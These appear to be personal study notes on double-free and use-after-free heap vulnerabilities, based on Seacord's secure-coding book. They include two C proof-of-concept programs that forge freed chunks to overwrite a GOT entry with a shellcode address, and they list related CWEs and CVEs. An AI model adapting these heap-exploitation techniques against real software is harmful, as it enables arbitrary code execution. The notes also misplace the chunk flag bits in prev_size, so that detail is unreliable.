Intro to double-free

Chapter 4 - Dynamic Memory Management(4.7)

  • Book by Robert C. Seacord

Double-Free Vulnerabilities

This vulnerability arises from freeing the same chunk of memory twice (using free()), without it being reallocated in between.

For a double-free exploit to be successful, two conditions must be met:

  • The chunk to be freed must be isolated in memory.
  • The bin into which the chunk is to be placed must be empty.

A chunk can be forged to fool the operating system to modify the memory.

Chunk format:

struct malloc_chunk {
	INTERNAL_SIZE_T prev_size;  // If the previous chunk is free, it stores the size
	INTERNAL_SIZE_T size;       // Chunk size including the Head
	struct malloc_chunk * fd;   
	struct malloc_chunk * bk;
}

The last 3 bits of prev_size represents:

  • PREV_INUSE (P): whether the previous chunk is in use
  • IS_MMAPPED (M): whether using mmap to distribute
  • NON_MAIN_ARENA (N): whether belong to main arena

unlink(p, BK, FD) function can be utilized to forge chunk.

C: If after free() function, the pointer is not NULL, it is possible to lead to double free vulnerability.

01 BK = bin;
02 FD = BK->fd;
03 if (FD != BK) {
04 		while (FD != BK && S < chunksize(FD)) {
05 			FD = FD->fd;
06 		}
07 		BK = FD->bk;
08 }
09 P->bk = BK;
10 P->fd = FD;
11 FD->bk = BK->fd = P;

Double-Free Exploit Code

01 static char *GOT_LOCATION = (char *)0x0804c98c;
02 static char shellcode[] =
03 "\xeb\x0cjump12chars_" /* jump */
04 "\x90\x90\x90\x90\x90\x90\x90\x90";
05 int main(void) {
06 int size = sizeof(shellcode);
07 char *shellcode_location;
08 char *first, *second, *third, *fourth;
09 char *fifth, *sixth, *seventh;
10 shellcode_location = malloc(size);
11 strcpy(shellcode_location, shellcode);
12 first = malloc(256);
13 second = malloc(256);
14 third = malloc(256);
15 fourth = malloc(256);
16 free(first); // cache bin
17 free(third); // put first to regular bin
18 fifth = malloc(128);
19 free(first); // double-free
20 sixth = malloc(256);
21 *((char **)(sixth+0)) = GOT_LOCATION-12;
22 *((char **)(sixth+4)) = shellcode_location;
23 seventh = malloc(256);
24 strcpy(fifth, "something");
25 return 0;
26 }

Overwriting Freed Memory Exploit

01 static char *GOT_LOCATION = (char *)0x0804c98c;
02 static char shellcode[] =
03 "\xeb\x0cjump12chars_" /* jump */
04 "\x90\x90\x90\x90\x90\x90\x90\x90";
05 int main(void){
06 int size = sizeof(shellcode);
07 char *shellcode_location;
08 char *first,*second,*third,*fourth,*fifth,*sixth;
09 shellcode_location = malloc(size);
10 strcpy(shellcode_location, shellcode);
11 first = malloc(256);
12 second = malloc(256);
13 third = malloc(256);
14 fourth = malloc(256);
15 free(first);
16 free(third);
17 fifth = malloc(128); // sets up initial conditions
18 *((char **)(first+0)) = GOT_LOCATION - 12;
19 *((char **)(first+4)) = shellcode_location;
20 sixth = malloc(256);
21 strcpy(fifth, "something");
22 return 0;
23 }

RtlHeap

  • Virtual Memory API
  • Heap Memory API
  • Local, Global Memory API
  • CRT Memory Functions
  • Memory-Mapped File API
  • RtlHeap Data Structures
  • Process Environment Block
  • Free Lists
  • Look-Aside Lists
  • Memory Chunks
  • Buffer Overflows

CWE

  • CWE-415
  • CWE-416
  • CVE-2009-1544 - Arbitrary Code Execution
  • CVE-2008-0882 - DoS
  • CVE-2016-5768 - Arbitrary Code Execution / DoS

Happy New Year…

Reference